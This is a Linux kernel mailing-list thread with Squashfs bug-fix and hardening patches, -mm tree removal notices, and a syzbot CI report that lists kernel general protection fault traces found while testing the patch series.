@@ -417,12 +418,13 @@ void squashfs_copy_cache(struct folio *folio,* grab the pages from the page cache, except for the page that we've * been called to fill. */ -for (i = start_index; i <= end_index && bytes >0 ; i++, - bytes -=PAGE_SIZE , offset +=PAGE_SIZE ) { +for (i = start_index; i <= end_index && bytes; i++, + bytes -= avail, offset += avail) {struct folio *push_folio; -size_t avail = buffer ?min (bytes,PAGE_SIZE ) :0 ;bool updated = false; + avail =min (bytes,PAGE_SIZE ); +TRACE ("bytes %zu, i %lld, available_bytes %zu\n" , bytes, i, avail); push_folio = (i == folio->index) ? folio :
@@ -436,7 +438,7 @@ void squashfs_copy_cache(struct folio *folio,if (folio_test_uptodate (push_folio)) goto skip_folio; - updated =squashfs_fill_page (push_folio, buffer, offset, avail); + updated =squashfs_fill_page (push_folio, buffer, offset, buffer ? avail :0 ); skip_folio:folio_end_read (push_folio, updated);if (i != folio->index)
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-fix-regression-in-squashfs_copy_cache.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: fix regression in squashfs_copy_cache() has been removed from the -mm tree. Its filename was squashfs-fix-regression-in-squashfs_copy_cache.patch
The quilt patch titled
Subject: Squashfs: fix regression in squashfs_copy_cache()
has been removed from the -mm tree. Its filename was
squashfs-fix-regression-in-squashfs_copy_cache.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: fix regression in squashfs_copy_cache()
Date: Wed, 11 Nov 2026 23:44:01 +0000
In a recent commit updating the code to use folios, the bytes variable was changed from signed to unsigned in squashfs_copy_cache().
The bytes variable is used in a loop where PAGE_SIZE bytes are subtracted from it each time around the loop, and where the loop terminates once bytes is less than or equal to zero.
The effect of the change in signedness is bytes no longer becomes negative when it is not a multiple of PAGE_SIZE, and the loop does not terminate when it should do, and instead folios are created and filled after file EOF.
These beyond EOF folios are not visible to user-space and hence this is a silent regression.
This commit fixes the code to only subtract the minimum of bytes or PAGE_SIZE, and which ensures the variable does not underflow.
fs/squashfs/file.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-)
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-fix-regression-in-squashfs_copy_cache +6 -4
@@ -410,6 +410,7 @@ void squashfs_copy_cache(struct folio *fstruct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 i, mask = (1 << (msblk->block_log -PAGE_SHIFT )) -1 ;s64 start_index = folio->index & ~mask, end_index = start_index | mask; +size_t avail;/* * Loop copying datablock into pages. As the datablock likely covers
@@ -417,12 +418,13 @@ void squashfs_copy_cache(struct folio *f* grab the pages from the page cache, except for the page that we've * been called to fill. */ -for (i = start_index; i <= end_index && bytes >0 ; i++, - bytes -=PAGE_SIZE , offset +=PAGE_SIZE ) { +for (i = start_index; i <= end_index && bytes; i++, + bytes -= avail, offset += avail) {struct folio *push_folio; -size_t avail = buffer ?min (bytes,PAGE_SIZE ) :0 ;bool updated = false; + avail =min (bytes,PAGE_SIZE ); +TRACE ("bytes %zu, i %lld, available_bytes %zu\n" , bytes, i, avail); push_folio = (i == folio->index) ? folio :
@@ -436,7 +438,7 @@ void squashfs_copy_cache(struct folio *fif (folio_test_uptodate (push_folio)) goto skip_folio; - updated =squashfs_fill_page (push_folio, buffer, offset, avail); + updated =squashfs_fill_page (push_folio, buffer, offset, buffer ? avail :0 ); skip_folio:folio_end_read (push_folio, updated);if (i != folio->index)
_
Patches currently in -mm which might be from [email protected] are
squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch a.patch
Phillip Lougher
maintainerPATCH v2 22/22 Squashfs: check index isn't greater than S64_MAX in squashfs_read_data()
In reply to Phillip LougherThe previous commits in this patch-set now sanity check index before squashfs_read_data() is called. However, it is always wise to take a belts and braces approach and sanity check at the lowest level to trap any values that could slip through.
--- fs/squashfs/block.c | 9 +++++++++ 1 file changed, 9 insertions(+)
fs/squashfs/block.c +9 -0
@@ -297,6 +297,15 @@ int squashfs_read_data(struct super_block *sb, u64 index, int length,int res;int offset; +/* +* Reject index values greater than possible filesystem size (S64_MAX). +* This also ensures the index variable doesn't overflow in the function. +*/ +if (index >S64_MAX ) { + res = -EIO ; + goto out; + } +if (length) {/* * Datablock.
Signature · 1 line
2.47.3
Andrew Morton
tree notice[to-be-updated] squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch removed from -mm tree
The quilt patch titled Subject: Squashfs: check index isn't greater than S64_MAX in squashfs_read_data() has been removed from the -mm tree. Its filename was…
The quilt patch titled
Subject: Squashfs: check index isn't greater than S64_MAX in squashfs_read_data()
has been removed from the -mm tree. Its filename was
squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
This patch was dropped because an updated version will be issued
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: check index isn't greater than S64_MAX in squashfs_read_data()
Date: Wed, 11 Nov 2026 23:44:02 +0000
The previous commits in this patch-set now sanity check index before squashfs_read_data() is called. However, it is always wise to take a belts and braces approach and sanity check at the lowest level to trap any values that could slip through.
fs/squashfs/block.c | 9 +++++++++ 1 file changed, 9 insertions(+)
fs/squashfs/block.c renamed from fs/squashfs/block.c~squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data +9 -0
@@ -297,6 +297,15 @@ int squashfs_read_data(struct super_blocint res;int offset; +/* +* Reject index values greater than possible filesystem size (S64_MAX). +* This also ensures the index variable doesn't overflow in the function. +*/ +if (index >S64_MAX ) { + res = -EIO ; + goto out; + } +if (length) {/* * Datablock.
_
Patches currently in -mm which might be from [email protected] are
a.patch
syzbot ci has tested the following series
syzbot ci has tested the following series
[v2] Squashfs: fix a lot of AI issues and AI style issues
https://lore.kernel.org/all/[email protected]
* [PATCH v2 01/22] Squashfs: convert SQUASHFS_COMPRESSED_* to inline functions
* [PATCH v2 02/22] Squashfs: convert SQUASHFS_INODE_* and SQUASHFS_MKINODE to inline functions
* [PATCH v2 03/22] Squashfs: convert SQUASHFS_FRAGMENT_* to inline functions
* [PATCH v2 04/22] Squashfs: convert SQUASHFS_LOOKUP_* to inline functions
* [PATCH v2 05/22] Squashfs: convert SQUASHFS_ID_* to inline functions
* [PATCH v2 06/22] Squashfs: convert SQUASHFS_XATTR_* to inline functions
* [PATCH v2 07/22] Squashfs: fix offset in squashfs_read_inode() TRACE statements
* [PATCH v2 08/22] Squashfs: fix fragment bytes overflow on 32-bit architectures
* [PATCH v2 09/22] Squashfs: fix fragment index table length too large exploit
* [PATCH v2 10/22] Squashfs: sanity check inode metadata block location
* [PATCH v2 11/22] Squashfs: sanity check directory metadata block location
* [PATCH v2 12/22] Squashfs: widen xattr count variables and add sanity check
* [PATCH v2 13/22] Squashfs: very large files can exceed an int block count
* [PATCH v2 14/22] Squashfs: add more sanity checking to squashfs_block_size()
* [PATCH v2 15/22] Squashfs: sanity check fragment block location and range
* [PATCH v2 16/22] Squashfs: sanity check block list sizes and range
* [PATCH v2 17/22] Squashfs: don't store large export table indexes in memory
* [PATCH v2 18/22] Squashfs: don't store large fragment table indexes in memory
* [PATCH v2 19/22] Squashfs: don't store large xattr id table indexes in memory
* [PATCH v2 20/22] Squashfs: fix variables in directory code and add more sanity checks
* [PATCH v2 21/22] Squashfs: fix regression in squashfs_copy_cache()
* [PATCH v2 22/22] Squashfs: check index isn't greater than S64_MAX in squashfs_read_data()
and found the following issues:
* general protection fault in __d_obtain_alias
* general protection fault in lookup_one_qstr_excl
* general protection fault in lookup_open
* general protection fault in security_d_instantiate
* general protection fault in step_into_slowpath
Full report is available here:
https://ci.syzbot.org/series/dc24cdf0-7531-440e-8970-9c83c975cd2f
***
general protection fault in __d_obtain_alias
tree: torvalds URL: https://kernel.googlesource.com/pub/scm/linux/kernel/git/torvalds/linux base: 23c62304dde29abe92013d85910d03a77dada35d arch: amd64 compiler: Debian clang version 22.1.8 (1~deb13u4), Debian LLD 22.1.8 config: https://ci.syzbot.org/builds/5a6f70fa-f5d2-4503-b4cf-fb256a97e555/config syz repro: https://ci.syzbot.org/findings/c832ec54-5339-4b53-8b65-3e2346402152/syz_repro
loop0: detected capacity change from 0 to 8
SQUASHFS error: Unable to read inode 0x87
Oops: general protection fault, probably for non-canonical address 0xdffffc0000000009: 0000 [#1] SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000048-0x000000000000004f] CPU: 1 UID: 0 PID: 5911 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 RIP: 0010:__d_obtain_alias+0x50/0x880 fs/dcache.c:2357 Code: e8 c5 72 6d ff eb 53 e8 be 72 6d ff 49 c7 c5 8c ff ff ff eb 45 49 bf 00 00 00 00 00 fc ff df 49 8d 7d 28 48 89 f8 48 c1 e8 03 <42> 80 3c 38 00 74 05 e8 44 0c e5 ff 4d 8b 75 28 4c 89 ef e8 98 a8 RSP: 0018:ffffc9000360f9d0 EFLAGS: 00010206 RAX: 0000000000000009 RBX: 0000000000000002 RCX: ffff8881ba5fbc00 RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000048 RBP: 0000000000000001 R08: ffffffff91be0bbf R09: 1ffffffff237c177 R10: dffffc0000000000 R11: fffffbfff237c178 R12: ffff888118c9e000 R13: 0000000000000020 R14: 1ffff920006c1f4c R15: dffffc0000000000 FS: 00007f1ed223d6c0(0000) GS:ffff8882a7803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000001b2d963fff CR3: 000000010c68a000 CR4: 00000000000006f0 Call Trace: <TASK> squashfs_export_iget+0x1d8/0x370 fs/squashfs/export.c:117 exportfs_decode_fh_raw+0x1c8/0x770 fs/exportfs/expfs.c:460 do_handle_to_path+0xa4/0x1a0 fs/fhandle.c:274 handle_to_path fs/fhandle.c:423 [inline] do_handle_open+0x6dd/0xb10 fs/fhandle.c:447 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x16a/0x530 arch/x86/entry/syscall_64.c:89 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f1ed13a8fd9 Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f1ed223d028 EFLAGS: 00000246 ORIG_RAX: 0000000000000130 RAX: ffffffffffffffda RBX: 00007f1ed1625fa0 RCX: 00007f1ed13a8fd9 RDX: 0000000000000000 RSI: 00002000000006c0 RDI: 0000000000000004 RBP: 00007f1ed1437fed R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007f1ed1626038 R14: 00007f1ed1625fa0 R15: 00007ffeeb039848 </TASK> Modules linked in: ---[ end trace 0000000000000000 ]--- RIP: 0010:__d_obtain_alias+0x50/0x880 fs/dcache.c:2357 Code: e8 c5 72 6d ff eb 53 e8 be 72 6d ff 49 c7 c5 8c ff ff ff eb 45 49 bf 00 00 00 00 00 fc ff df 49 8d 7d 28 48 89 f8 48 c1 e8 03 <42> 80 3c 38 00 74 05 e8 44 0c e5 ff 4d 8b 75 28 4c 89 ef e8 98 a8 RSP: 0018:ffffc9000360f9d0 EFLAGS: 00010206 RAX: 0000000000000009 RBX: 0000000000000002 RCX: ffff8881ba5fbc00 RDX: 0000000000000000 RSI: 0000000000000001 RDI: 0000000000000048 RBP: 0000000000000001 R08: ffffffff91be0bbf R09: 1ffffffff237c177 R10: dffffc0000000000 R11: fffffbfff237c178 R12: ffff888118c9e000 R13: 0000000000000020 R14: 1ffff920006c1f4c R15: dffffc0000000000 FS: 00007f1ed223d6c0(0000) GS:ffff8882a7803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f1ed13f07a0 CR3: 000000010c68a000 CR4: 00000000000006f0 ---------------- Code disassembly (best guess): 0: e8 c5 72 6d ff call 0xff6d72ca 5: eb 53 jmp 0x5a 7: e8 be 72 6d ff call 0xff6d72ca c: 49 c7 c5 8c ff ff ff mov $0xffffffffffffff8c,%r13 13: eb 45 jmp 0x5a 15: 49 bf 00 00 00 00 00 movabs $0xdffffc0000000000,%r15 1c: fc ff df 1f: 49 8d 7d 28 lea 0x28(%r13),%rdi 23: 48 89 f8 mov %rdi,%rax 26: 48 c1 e8 03 shr $0x3,%rax * 2a: 42 80 3c 38 00 cmpb $0x0,(%rax,%r15,1) <-- trapping instruction 2f: 74 05 je 0x36 31: e8 44 0c e5 ff call 0xffe50c7a 36: 4d 8b 75 28 mov 0x28(%r13),%r14 3a: 4c 89 ef mov %r13,%rdi 3d: e8 .byte 0xe8 3e: 98 cwtl 3f: a8 .byte 0xa8
***
general protection fault in lookup_one_qstr_excl
tree: torvalds URL: https://kernel.googlesource.com/pub/scm/linux/kernel/git/torvalds/linux base: 23c62304dde29abe92013d85910d03a77dada35d arch: amd64 compiler: Debian clang version 22.1.8 (1~deb13u4), Debian LLD 22.1.8 config: https://ci.syzbot.org/builds/5a6f70fa-f5d2-4503-b4cf-fb256a97e555/config syz repro: https://ci.syzbot.org/findings/03a8b71f-8e8b-4f9a-b937-26503c6e8d54/syz_repro
and is ignored by this kernel. Remove the mand option from the mount to silence this warning.
=======================================================
SQUASHFS error: Unable to read directory block [0:26]
Oops: general protection fault, probably for non-canonical address 0xdffffc0000000000: 0000 [#1] SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000000-0x0000000000000007] CPU: 1 UID: 0 PID: 5849 Comm: syz.1.18 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 RIP: 0010:__d_entry_type include/linux/dcache.h:452 [inline] RIP: 0010:d_is_miss include/linux/dcache.h:457 [inline] RIP: 0010:d_is_negative include/linux/dcache.h:503 [inline] RIP: 0010:lookup_one_qstr_excl+0x155/0x360 fs/namei.c:1824 Code: b0 09 48 85 c0 0f 85 8f 01 00 00 e8 55 34 6f ff 49 81 fe 01 f0 ff ff 72 0a e8 47 34 6f ff e9 86 00 00 00 4c 89 f0 48 c1 e8 03 <0f> b6 04 28 84 c0 0f 85 b6 01 00 00 bd 00 00 38 00 41 23 2e 41 89 RSP: 0018:ffffc900037bfcb0 EFLAGS: 00010247 RAX: 0000000000000000 RBX: 0000000000060000 RCX: ffff888102733c00 RDX: 0000000000000000 RSI: 0000000000000004 RDI: 00000000ffffffff RBP: dffffc0000000000 R08: ffff8881b3d5c3fb R09: 1ffff110367ab87f R10: dffffc0000000000 R11: ffffed10367ab880 R12: ffff8881b3d5c340 R13: ffff8881b3ee3240 R14: 0000000000000006 R15: 0000000000000006 FS: 00007f5d957c56c0(0000) GS:ffff8882a7803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ffd7cd75ff8 CR3: 000000016afe8000 CR4: 00000000000006f0 Call Trace: <TASK> __start_dirop fs/namei.c:2926 [inline] start_dirop fs/namei.c:2948 [inline] filename_create+0x20e/0x370 fs/namei.c:5108 filename_mkdirat+0xd2/0x550 fs/namei.c:5454 __do_sys_mkdirat fs/namei.c:5482 [inline] __se_sys_mkdirat+0x35/0x150 fs/namei.c:5479 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x16a/0x530 arch/x86/entry/syscall_64.c:89 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f5d949a7e47 Code: 00 66 90 48 89 f2 b9 00 01 00 00 48 89 fe bf 9c ff ff ff e9 db f7 ff ff 66 2e 0f 1f 84 00 00 00 00 00 90 b8 02 01 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007f5d957c4e58 EFLAGS: 00000246 ORIG_RAX: 0000000000000102 RAX: ffffffffffffffda RBX: 00007f5d957c4ee0 RCX: 00007f5d949a7e47 RDX: 00000000000001ff RSI: 0000200000000d40 RDI: 00000000ffffff9c RBP: 0000200000000d00 R08: 0000000000000040 R09: 0000200000000e40 R10: 0000200000000d00 R11: 0000000000000246 R12: 0000200000000d40 R13: 00007f5d957c4ea0 R14: 0000000000000000 R15: 0000000000000000 </TASK> Modules linked in: ---[ end trace 0000000000000000 ]--- RIP: 0010:__d_entry_type include/linux/dcache.h:452 [inline] RIP: 0010:d_is_miss include/linux/dcache.h:457 [inline] RIP: 0010:d_is_negative include/linux/dcache.h:503 [inline] RIP: 0010:lookup_one_qstr_excl+0x155/0x360 fs/namei.c:1824 Code: b0 09 48 85 c0 0f 85 8f 01 00 00 e8 55 34 6f ff 49 81 fe 01 f0 ff ff 72 0a e8 47 34 6f ff e9 86 00 00 00 4c 89 f0 48 c1 e8 03 <0f> b6 04 28 84 c0 0f 85 b6 01 00 00 bd 00 00 38 00 41 23 2e 41 89 RSP: 0018:ffffc900037bfcb0 EFLAGS: 00010247 RAX: 0000000000000000 RBX: 0000000000060000 RCX: ffff888102733c00 RDX: 0000000000000000 RSI: 0000000000000004 RDI: 00000000ffffffff RBP: dffffc0000000000 R08: ffff8881b3d5c3fb R09: 1ffff110367ab87f R10: dffffc0000000000 R11: ffffed10367ab880 R12: ffff8881b3d5c340 R13: ffff8881b3ee3240 R14: 0000000000000006 R15: 0000000000000006 FS: 00007f5d957c56c0(0000) GS:ffff8882a7803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ffd7cd75ff8 CR3: 000000016afe8000 CR4: 00000000000006f0 ---------------- Code disassembly (best guess): 0: b0 09 mov $0x9,%al 2: 48 85 c0 test %rax,%rax 5: 0f 85 8f 01 00 00 jne 0x19a b: e8 55 34 6f ff call 0xff6f3465 10: 49 81 fe 01 f0 ff ff cmp $0xfffffffffffff001,%r14 17: 72 0a jb 0x23 19: e8 47 34 6f ff call 0xff6f3465 1e: e9 86 00 00 00 jmp 0xa9 23: 4c 89 f0 mov %r14,%rax 26: 48 c1 e8 03 shr $0x3,%rax * 2a: 0f b6 04 28 movzbl (%rax,%rbp,1),%eax <-- trapping instruction 2e: 84 c0 test %al,%al 30: 0f 85 b6 01 00 00 jne 0x1ec 36: bd 00 00 38 00 mov $0x380000,%ebp 3b: 41 23 2e and (%r14),%ebp 3e: 41 rex.B 3f: 89 .byte 0x89
***
general protection fault in lookup_open
tree: torvalds URL: https://kernel.googlesource.com/pub/scm/linux/kernel/git/torvalds/linux base: 23c62304dde29abe92013d85910d03a77dada35d arch: amd64 compiler: Debian clang version 22.1.8 (1~deb13u4), Debian LLD 22.1.8 config: https://ci.syzbot.org/builds/5a6f70fa-f5d2-4503-b4cf-fb256a97e555/config syz repro: https://ci.syzbot.org/findings/725fff20-2541-433d-a11c-5306ff0c8a65/syz_repro
loop0: detected capacity change from 0 to 8 SQUASHFS error: Unable to read directory block [0:26]
Oops: general protection fault, probably for non-canonical address 0xdffffc000000000e: 0000 [#1] SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000070-0x0000000000000077] CPU: 0 UID: 0 PID: 5897 Comm: syz.0.17 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 RIP: 0010:lookup_open+0xaae/0x1ae0 fs/namei.c:4548 Code: 00 00 e8 b5 ed 70 ff 4d 85 ff 0f 85 89 09 00 00 e8 a7 ed 70 ff 49 bf 00 00 00 00 00 fc ff df 48 8d 5d 68 48 89 d8 48 c1 e8 03 <42> 80 3c 38 00 74 08 48 89 df e8 33 87 e8 ff 48 83 3b 00 74 07 e8 RSP: 0018:ffffc9000239f9b8 EFLAGS: 00010202 RAX: 000000000000000e RBX: 0000000000000070 RCX: ffff88810c955a00 RDX: 0000000000000000 RSI: 0000000000000004 RDI: 00000000ffffffff RBP: 0000000000000008 R08: ffff888118d1e3fb R09: 1ffff110231a3c7f R10: dffffc0000000000 R11: ffffed10231a3c80 R12: 1ffff11004521e4c R13: 00000000ffffffe2 R14: ffffc9000239fc20 R15: dffffc0000000000 FS: 00007ff1a82e46c0(0000) GS:ffff88818be03000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000200000009080 CR3: 0000000114c04000 CR4: 00000000000006f0 Call Trace: <TASK> open_last_lookups fs/namei.c:4774 [inline] path_openat+0x70c/0x20f0 fs/namei.c:5013 do_file_open+0x23e/0x4a0 fs/namei.c:5045 do_sys_openat2+0x115/0x200 fs/open.c:1443 do_sys_open fs/open.c:1449 [inline] __do_sys_openat fs/open.c:1465 [inline] __se_sys_openat fs/open.c:1460 [inline] __x64_sys_openat+0x138/0x170 fs/open.c:1460 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x16a/0x530 arch/x86/entry/syscall_64.c:89 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7ff1a73a8fd9 Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007ff1a82e4028 EFLAGS: 00000246 ORIG_RAX: 0000000000000101 RAX: ffffffffffffffda RBX: 00007ff1a7625fa0 RCX: 00007ff1a73a8fd9 RDX: 0000000000143042 RSI: 0000200000009080 RDI: ffffffffffffff9c RBP: 00007ff1a7437fed R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000051 R11: 0000000000000246 R12: 0000000000000000 R13: 00007ff1a7626038 R14: 00007ff1a7625fa0 R15: 00007fff51056ec8 </TASK> Modules linked in: ---[ end trace 0000000000000000 ]--- RIP: 0010:lookup_open+0xaae/0x1ae0 fs/namei.c:4548 Code: 00 00 e8 b5 ed 70 ff 4d 85 ff 0f 85 89 09 00 00 e8 a7 ed 70 ff 49 bf 00 00 00 00 00 fc ff df 48 8d 5d 68 48 89 d8 48 c1 e8 03 <42> 80 3c 38 00 74 08 48 89 df e8 33 87 e8 ff 48 83 3b 00 74 07 e8 RSP: 0018:ffffc9000239f9b8 EFLAGS: 00010202 RAX: 000000000000000e RBX: 0000000000000070 RCX: ffff88810c955a00 RDX: 0000000000000000 RSI: 0000000000000004 RDI: 00000000ffffffff RBP: 0000000000000008 R08: ffff888118d1e3fb R09: 1ffff110231a3c7f R10: dffffc0000000000 R11: ffffed10231a3c80 R12: 1ffff11004521e4c R13: 00000000ffffffe2 R14: ffffc9000239fc20 R15: dffffc0000000000 FS: 00007ff1a82e46c0(0000) GS:ffff88818be03000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007ff1a73f07a0 CR3: 0000000114c04000 CR4: 00000000000006f0 ---------------- Code disassembly (best guess): 0: 00 00 add %al,(%rax) 2: e8 b5 ed 70 ff call 0xff70edbc 7: 4d 85 ff test %r15,%r15 a: 0f 85 89 09 00 00 jne 0x999 10: e8 a7 ed 70 ff call 0xff70edbc 15: 49 bf 00 00 00 00 00 movabs $0xdffffc0000000000,%r15 1c: fc ff df 1f: 48 8d 5d 68 lea 0x68(%rbp),%rbx 23: 48 89 d8 mov %rbx,%rax 26: 48 c1 e8 03 shr $0x3,%rax * 2a: 42 80 3c 38 00 cmpb $0x0,(%rax,%r15,1) <-- trapping instruction 2f: 74 08 je 0x39 31: 48 89 df mov %rbx,%rdi 34: e8 33 87 e8 ff call 0xffe8876c 39: 48 83 3b 00 cmpq $0x0,(%rbx) 3d: 74 07 je 0x46 3f: e8 .byte 0xe8
***
general protection fault in security_d_instantiate
tree: torvalds URL: https://kernel.googlesource.com/pub/scm/linux/kernel/git/torvalds/linux base: 23c62304dde29abe92013d85910d03a77dada35d arch: amd64 compiler: Debian clang version 22.1.8 (1~deb13u4), Debian LLD 22.1.8 config: https://ci.syzbot.org/builds/5a6f70fa-f5d2-4503-b4cf-fb256a97e555/config syz repro: https://ci.syzbot.org/findings/fbe3856a-ab34-428b-987c-0e66e555d126/syz_repro
loop1: detected capacity change from 0 to 8
SQUASHFS error: Unable to read inode 0x87
Oops: general protection fault, probably for non-canonical address 0xdffffc0000000004: 0000 [#1] SMP KASAN PTI KASAN: null-ptr-deref in range [0x0000000000000020-0x0000000000000027] CPU: 1 UID: 0 PID: 5872 Comm: syz.1.18 Not tainted syzkaller #0 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.2-debian-1.16.2-1 04/01/2014 RIP: 0010:security_d_instantiate+0x2f/0x1d0 security/security.c:3781 Code: 41 57 41 56 53 48 89 f3 49 89 fe e8 0b c7 29 fd 48 85 db 74 42 4c 8d 7b 04 4c 89 f8 48 c1 e8 03 48 b9 00 00 00 00 00 fc ff df <0f> b6 04 08 84 c0 0f 85 9d 00 00 00 41 8b 2f 89 ee 81 e6 00 02 00 RSP: 0018:ffffc900039df898 EFLAGS: 00010203 RAX: 0000000000000004 RBX: 0000000000000020 RCX: dffffc0000000000 RDX: 0000000000000000 RSI: 0000000000000020 RDI: ffff8881bbefe000 RBP: ffffc900039dfb00 R08: ffffffff91be0bbf R09: 1ffffffff237c177 R10: dffffc0000000000 R11: fffffbfff237c178 R12: 0000000000000000 R13: dffffc0000000000 R14: ffff8881bbefe000 R15: 0000000000000024 FS: 00007fc89f6776c0(0000) GS:ffff8882a7803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000001b2d963fff CR3: 0000000176d60000 CR4: 00000000000006f0 Call Trace: <TASK> d_splice_alias_ops+0x72/0x440 fs/dcache.c:3449 squashfs_lookup+0xc5e/0x14e0 fs/squashfs/namei.c:273 __lookup_slow+0x1fb/0x2f0 fs/namei.c:1925 lookup_slow+0x59/0x80 fs/namei.c:1942 walk_component fs/namei.c:2288 [inline] lookup_last fs/namei.c:2795 [inline] path_lookupat+0x3f5/0x8c0 fs/namei.c:2819 filename_lookup+0x265/0x5d0 fs/namei.c:2848 __do_sys_chroot fs/open.c:598 [inline] __se_sys_chroot+0xa8/0x3f0 fs/open.c:591 do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline] do_syscall_64+0x16a/0x530 arch/x86/entry/syscall_64.c:89 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7fc89e7a8fd9 Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fc89f677028 EFLAGS: 00000246 ORIG_RAX: 00000000000000a1 RAX: ffffffffffffffda RBX: 00007fc89ea25fa0 RCX: 00007fc89e7a8fd9 RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000200000000980 RBP: 00007fc89e837fed R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000 R13: 00007fc89ea26038 R14: 00007fc89ea25fa0 R15: 00007ffc3017d408 </TASK> Modules linked in: ---[ end trace 0000000000000000 ]--- RIP: 0010:security_d_instantiate+0x2f/0x1d0 security/security.c:3781 Code: 41 57 41 56 53 48 89 f3 49 89 fe e8 0b c7 29 fd 48 85 db 74 42 4c 8d 7b 04 4c 89 f8 48 c1 e8 03 48 b9 00 00 00 00 00 fc ff df <0f> b6 04 08 84 c0 0f 85 9d 00 00 00 41 8b 2f 89 ee 81 e6 00 02 00 RSP: 0018:ffffc900039df898 EFLAGS: 00010203 RAX: 0000000000000004 RBX: 0000000000000020 RCX: dffffc0000000000 RDX: 0000000000000000 RSI: 0000000000000020 RDI: ffff8881bbefe000 RBP: ffffc900039dfb00 R08: ffffffff91be0bbf R09: 1ffffffff237c177 R10: dffffc0000000000 R11: fffffbfff237c178 R12: 0000000000000000 R13: dffffc0000000000 R14: ffff8881bbefe000 R15: 0000000000000024 FS: 00007fc89f6776c0(0000) GS:ffff8882a7803000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000561fc662c278 CR3: 0000000176d60000 CR4: 00000000000006f0 ---------------- Code disassembly (best guess): 0: 41 57 push %r15 2: 41 56 push %r14 4: 53 push %rbx 5: 48 89 f3 mov %rsi,%rbx 8: 49 89 fe mov %rdi,%r14 b: e8 0b c7 29 fd call 0xfd29c71b 10: 48 85 db test %rbx,%rbx 13: 74 42 je 0x57 15: 4c 8d 7b 04 lea 0x4(%rbx),%r15 19: 4c 89 f8 mov %r15,%rax 1c: 48 c1 e8 03 shr $0x3,%rax 20: 48 b9 00 00 00 00 00 movabs $0xdffffc0000000000,%rcx 27: fc ff df * 2a: 0f b6 04 08 movzbl (%rax,%rcx,1),%eax <-- trapping instruction 2e: 84 c0 test %al,%al 30: 0f 85 9d 00 00 00 jne 0xd3 36: 41 8b 2f mov (%r15),%ebp 39: 89 ee mov %ebp,%esi 3b: 81 .byte 0x81 3c: e6 00 out %al,$0x0 3e: 02 00 add (%rax),%al
***
general protection fault in step_into_slowpath
